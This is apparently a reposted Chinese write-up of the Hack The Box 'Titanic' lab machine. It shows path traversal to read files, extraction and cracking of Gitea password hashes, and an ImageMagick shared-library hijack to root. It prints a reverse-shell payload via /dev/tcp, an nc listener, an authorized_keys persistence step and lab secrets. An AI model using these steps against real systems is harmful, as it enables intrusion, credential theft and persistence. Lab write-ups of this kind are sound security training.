Hackthebox- Season7- Titanic 简记 [Easy]

在这里插入图片描述

简记

ip重定向到 http://titanic.htb,先添加hosts

收集子域名

wfuzz -c -u http://titanic.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host:FUZZ.titanic.htb' --hl 9
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************Target: http://titanic.htb/
Total requests: 19966=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================000000019:   200        275 L    1278 W     13870 Ch    "dev"

将dev.titanic.htb也加到hosts

主站是一个预约服务,只有一个功能点,预约服务(右上角点击Book New)
dev子域是一个gitea代码托管平台,有两个代码库
developer/docker-config
developer/flask-app

先测试主站的功能点
使用whatweb查看,显然是一个python站点

$ whatweb http://titanic.htb/
http://titanic.htb/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.129.194.71], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]

(就是dev子域的那个flask-app)第一次做的时候没注意到,就没审计源码

点击Book New,填写信息,会下载一个json文件。
存在文件下载,我们就可以测试一下是否存在任意文件下载

burp抓包,

POST /book HTTP/1.1
Host: titanic.htb
Content-Length: 75
Cache-Control: max-age=0
Origin: http://titanic.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closename=aaa&email=aaa%40123.com&phone=17371996889&date=2222-02-02&cabin=Deluxe

(数据随便填),放包

HTTP/1.1 302 FOUND
Date: Wed, 19 Feb 2025 08:46:42 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Type: text/html; charset=utf-8
Content-Length: 303
Location: /download?ticket=17e38735-baf1-43f9-931f-6a1ea16a1503.json
Connection: close<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/download?ticket=17e38735-baf1-43f9-931f-6a1ea16a1503.json">/download?ticket=17e38735-baf1-43f9-931f-6a1ea16a1503.json</a>. If not, click the link.

可以看到302重定向到/download?ticket=xxxxx
好的,测试任意文件下载,linux机器,选择/etc/passwd

$ curl -s http://titanic.htb/download?ticket=/etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash

两个用户,web用户要么是developer,要么是www-data
尝试读取developer目录下的flag (猜测、尝试

$ curl -s http://titanic.htb/download?ticket=/home/developer/user.txt
21ce83fbxxxxxxxxxxxxxxxxxxxx

确实可以读取到user flag

子域的Gitea版本号为1.22.1,没找到公开的漏洞。继续尝试在任意文件下载这个漏洞上撕开口子,扩大危害。

关注代码托管平台的代码,可能存放的是内网的一些服务
查看提交历史,没有用信息。
developer/docker-config记录了两个服务的Dockerfile文件

version: '3'services:gitea:image: gitea/giteacontainer_name: giteaports:- "127.0.0.1:3000:3000"- "127.0.0.1:2222:22"  # Optional for SSH accessvolumes:- /home/developer/gitea/data:/data # Replace with your pathenvironment:- USER_UID=1000- USER_GID=1000restart: always

这个Dockerfile是 Gitea服务的
值的关注的的一点 volumes 挂载的位置: /home/developer/gitea/data:/data, 将容器内的数据挂在到物理机的/home/developer/gitea/data目录下

通过浏览器搜索“gitea data目录"

data/ - 数据目录(APP_DATA_PATH),如果使用文件会话,则不包括会话。该目录包括 attachmentsavatarslfsindexers、如果使用 SQLite 则包括 SQLite 文件。

version: '3.8'services:mysql:image: mysql:8.0container_name: mysqlports:- "127.0.0.1:3306:3306"environment:MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'MYSQL_DATABASE: tickets MYSQL_USER: sql_svcMYSQL_PASSWORD: sql_passwordrestart: always

这个是msql的dockerfile,有一个密码MySQLP@$$w0rd!,先记录一下。

查看官方文档配置说明 | Gitea Documentation,Linux的默认配置文件路径为/etc/gitea/conf/app.ini
结合

volumes:- /home/developer/gitea/data:/data

尝试访问

$ curl -s http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea[repository]
ROOT = /data/git/repositories[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo[repository.upload]
TEMP_PATH = /data/gitea/uploads[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars[attachment]
PATH = /data/gitea/attachments[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost[lfs]
PATH = /data/git/lfs[mailer]
ENABLED = false[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true[cron.update_checker]
ENABLED = false[repository.pull-request]
DEFAULT_MERGE_STYLE = merge[repository.signing]
DEFAULT_TRUST_MODEL = committer[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

在配置中有sqlite数据库的(PATH = /data/gitea/gitea.db)路径,尝试下载

$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db --output gitea.db% Total    % Received % Xferd  Average Speed   Time    Time     Time  CurrentDload  Upload   Total   Spent    Left  Speed
100 2036k  100 2036k    0     0  1878k      0  0:00:01  0:00:01 --:--:-- 1879k

成功下载。查看数据库
可以使用gui工具查看,如sqllitebrowser
或者使用命令行工具

$ sqlite3 gitea.db
sqlite> .tables
<SNIP>
user
<SNIP>

重点关注user表,先查看一下表结构,用户名、密码、密码哈希、加密算法、盐

sqlite> .schema user
sqlite> select name,passwd,passwd_hash_algo,salt from user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34

搜一下”gitea password created“,在github上有很多现成的项目可以使用

  1. dvdknaap/gitea-crack-passwords: Crack GITEA passwords
    通过上面/etc/passwd的内容,我们知道在机器上有developer用户,爆破developer对应的密码哈希
$ python3 1.py -s 8bf3e3452b78544f8bee9400d6936d34 -t e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 -w /usr/share/wordlists/rockyou.txt
<SNIP>
<SNIP>
Found password: 25282528
  1. F4dee3/gitea2hashcat: Script created in Bash to cracked the password of Gitea and export in Hashcat format.
    将密码转化为hashcat格式
$ ./gitea2hashcat.sh[+] Usage: ./gitea2hashcat.sh-d) Provide the database file (e.g., gitea.db)-o) Specify the output file-h) Display this help panel
$ ./gitea2hashcat.sh -d gitea.db -o gitea.hashgitea.hash内容如下
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

使用hashcat爆破

$ hashcat --username gitea.hashes /usr/share/wordlists/rockyou.txt

然后及时ssh登陆,密码是25282528

ssh developer@titanic.htb => 登录成功~

接着就是提权·
sudo -l 起手,必是小丑

/opt/scripts/目录下发现一个shell文件

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

问AI:使用 ImageMagick 的 identify 命令提取每个 JPG 文件的元数据信息,最后将这些元数据信息追加写入 metadata.log 文件中
ImageMagick版本信息

developer@titanic:/opt/scripts$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

搜索ImageMagick 7.1.1-35 github poc,第一条就是
poc
在当前工作目录中创建共享库:(/opt/app/static/assets/images/ )

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void init(){system("id");exit(0);
}
EOF

修改system执行的命令,执行一个cat /root/root.txt > /tmp/root.txt
成功拿到flag

弹个shell

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void init(){system("bash -c '/bin/bash -i >& /dev/tcp/ip/1234 0>&1'");exit(0);
}
EOF

监听nc -lvnp 1234

└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [Your-IP] from (UNKNOWN) [Machine] 38172
bash: cannot set terminal process group (6262): Inappropriate ioctl for device
bash: no job control in this shell
root@titanic:/opt/app/static/assets/images# id
id
uid=0(root) gid=0(root) groups=0(root)

简单的权限维持,写公钥

echo 你的公钥 >> ~/.ssh/authorized_keys

然后就可以ssh连接了(不需要密码了)

ssh root@titanic.htb
root@titanic:~# id
uid=0(root) gid=0(root) groups=0(root)

Beyond Root

定时任务

root@titanic:~# crontab -l* * * * * /opt/scripts/identify_images.sh && /root/cleanup.sh
*/10 * * * * /root/revert.sh

在获得普通用户时,就执行ifconfig,发现有docker网卡
现在有root权限了

root@titanic:~# docker ps
docker ps
CONTAINER ID   IMAGE         COMMAND                  CREATED        STATUS       PORTS                                              NAMES
069e7799bf90   gitea/gitea   "/usr/bin/entrypoint鈥?   6 months ago   Up 3 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:2222->22/tcp   gitea

然后就可以进入到容器里面看看了(docker exec -it 069 bash)

Blog原贴地址

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/20810.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言】C语言 哈夫曼编码传输(源码+数据文件)【独一无二】

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;专__注&#x1f448;&#xff1a;专注主流机器人、人工智能等相关领域的开发、测试技术。 C语言 哈夫曼编码传输&#xff08;源码数据文件&am…

撕碎QT面具(6):调节窗口大小后,控件被挤得重叠的解决方法

问题&#xff1a;控件重叠 分析原因&#xff1a;因为设置了最小大小&#xff0c;所以界面中的大小不会随窗口的变化而自动变化。 处理方案&#xff1a;修改mimumSize的宽度与高度为0&#xff0c;并设置sizePolicy为Expanding&#xff0c;让其自动伸缩。 结果展示&#xff08;自…

Leetcode - 周赛436

目录 一、3446. 按对角线进行矩阵排序二、3447. 将元素分配给有约束条件的组三、3448. 统计可以被最后一个数位整除的子字符串数目四、3449. 最大化游戏分数的最小值 一、3446. 按对角线进行矩阵排序 题目链接 本题可以暴力枚举&#xff0c;在确定了每一个对角线的第一个元素…

玩转SpringCloud Stream

背景及痛点 现如今消息中间件(MQ)在互联网项目中被广泛的应用&#xff0c;特别是大数据行业应用的特别的多&#xff0c;现在市面上也流行这多个消息中间件框架&#xff0c;比如ActiveMQ、RabbitMQ、RocketMQ、Kafka等&#xff0c;这些消息中间件各有各的优劣&#xff0c;但是想…

解决 Mac 只显示文件大小,不显示目录大小

前言 在使用 mac 的时候总是只显示文件的大小&#xff0c;不显示文件夹的大小&#xff0c;为了解决问题可以开启“计算文件夹”。 步骤 1.进入访达 2.工具栏点击“显示”选项&#xff0c;点击 “查看显示选项” 3.勾选 显示“资源库"文件夹 和 计算所有大小 或者点击…

STM32 定时器产生定周期方法

目录 背景 程序 第一步、使能PCLK1外设时钟​编辑 第二步、时基单元配置 第三步、配置NVIC&#xff08;设置定时中断优先级&#xff09;​编辑 第四步、使能溢出中断 第五步、使能定时器 第六步、填写中断处理函数&#xff08;ISR&#xff09; 背景 在单片机开发当中&…

【DeepSeek系列】04 DeepSeek-R1:带有冷启动的强化学习

文章目录 1、简介2、主要改进点3、两个重要观点4、四阶段后训练详细步骤4.1 冷启动4.2 推理导向的强化学习4.3 拒绝采样和有监督微调4.4 针对所有场景的强化学习 5、蒸馏与强化学习对比6、评估6.1 DeepSeek-R1 评估6.2 蒸馏模型评估 7、结论8、局限性与未来方向 1、简介 DeepS…

Compose常用UI组件

Compose常用UI组件 概述Modifier 修饰符常用Modifier修饰符作用域限定Modifier Modifier 实现原理Modifier.Element链的构建链的解析 常用基础组件文字组件图片组件按钮组件选择器对话框进度条 常用布局组件线性布局帧布局 列表组件 概述 Compose 预置了很多基础组件&#xff…

Ansys EMC Plus:HIRF 与飞机耦合演示

在本篇博文中&#xff0c;我们将深入探讨 EMC Plus 高强度辐射场 (HIRF) 与软件示例中提供的飞机演示的耦合。本概述将指导您完成整个工作流程&#xff0c;从设置问题空间到基本后处理&#xff0c;包括材料属性分配和创建探针。 概述 在本演示中&#xff0c;下图所示的预先简化…

DeepSeek + Mermaid编辑器——常规绘图

下面这张图出自&#xff1a;由清华大学出品的 《DeepSeek&#xff1a;从入门到精通》。 作为纯文本生成模型&#xff0c;DeepSeek虽不具备多媒体内容生成接口&#xff0c;但其开放式架构允许通过API接口与图像合成引擎、数据可视化工具等第三方系统进行协同工作&#xff0c;最终…

红蓝对抗之常见网络安全事件研判、了解网络安全设备、Webshell入侵检测

文章目录 ​​研判&#xff08;入侵检测&#xff09;​​ ​​设备​​ ​​经典网络​​​​云网络​​ ​​异常HTTP请求​​​​Webshell分析​​ ​​Webshell 的分类​​​​Webshell 的检测​​ ​​主机层面​​​​流量层面​​ ​​附录​​ ​​常见端口漏洞…

基于levmar(Levenberg-Marquardt 非线性最小二乘优化库)的椭圆拟合

1. 包含必要的头文件 #include <opencv2/core.hpp> #include <opencv2/imgproc.hpp> #include <opencv2/highgui.hpp> #include <vector> #include <cmath>2. 定义生成椭圆点的函数 编写一个函数&#xff0c;接受椭圆的中心坐标、长轴半径、短…

Fastgpt学习(5)- FastGPT 私有化部署问题解决

1.☺ 问题描述&#xff1a; Windows系统&#xff0c;本地私有化部署&#xff0c;postgresql数据库镜像日志持续报错" data directory “/var/lib/postgresql/data” has invalid permissions "&#xff0c;“ DETAIL: Permissions should be urwx (0700) or urwx,gr…

基于SpringBoot+vue粮油商城小程序系统

粮油商城小程序为用户提供方便快捷的在线购物体验&#xff0c;包括大米、面粉、食用油、调味品等各种粮油产品的选购&#xff0c;用户可以浏览商品详情、对比价格、下单支付等操作。同时&#xff0c;商城还提供优惠活动、积分兑换等福利&#xff0c;让用户享受到更多实惠和便利…

Python编程之数据分组

有哪些方式可以进行数据分组利用Pandas库进行分组使用itertools库的groupby分组操作构建Python字典方式实现(小规模数据,不适用数量特别大的情况,不需要依赖其它python库)利用NumPy的groupby函数分组操作利用Python的Dask库提供的函数进行分组下面看一个如何去实现坐标数据…

【Linux】认识协议、Mac/IP地址和端口号、网络字节序、socket套接字

⭐️个人主页&#xff1a;小羊 ⭐️所属专栏&#xff1a;Linux 很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~ 目录 1、初识协议2、Mac、IP地址3、端口号4、网络字节序5、socket 1、初识协议 协议就是一种约定。如何让不同厂商生产的计算机之间能…

ubuntu 安装docker

ubuntu 安装docker 官网地址 https://docs.docker.com/engine/install/ubuntu/ 尽量根据官网的来&#xff0c;网上找的很多都是一大堆各种报错 卸载旧版本 新机器不需要操作 卸载的非官方包是&#xff1a; docker.iodocker-composedocker-compose-v2docker-docpodman-docker…

环境变量2

目录 环境变量PATH 如何改变PATH 我们今天继续来学习环境变量2&#xff01;&#xff01;&#xff01; 环境变量PATH PATH的作用是知道命令的搜索路径&#xff0c;我们都知道Linux上的命令行指令&#xff0c;ll&#xff0c;pwd什么的为什么我们写出来系统就知道是什么并且运…

网络安全中的机器学习

当涉及到网络安全时&#xff0c;技术一直是保护系统免受攻击和数据泄露的关键。在这篇论文中&#xff0c;我将介绍一些当前在网络安全领域使用的关键技术&#xff0c;包括加密&#xff0c;身份验证和防火墙。 首先&#xff0c;加密是网络安全中最常见的技术之一。加密是指使用算…

sass报错:[sass] Undefined variable. @import升级@use语法注意事项

今天创建vue3项目&#xff0c;迁移老项目代码&#xff0c;使用sass的时候发现import语法已经废弃&#xff0c;官方推荐使用use替换。 这里我踩了一个坑找半天的问题&#xff0c;原因是sass升级到1.85之后 定义变量前加上 - 就是表示变量私有&#xff0c;即使使用use导出 在新的…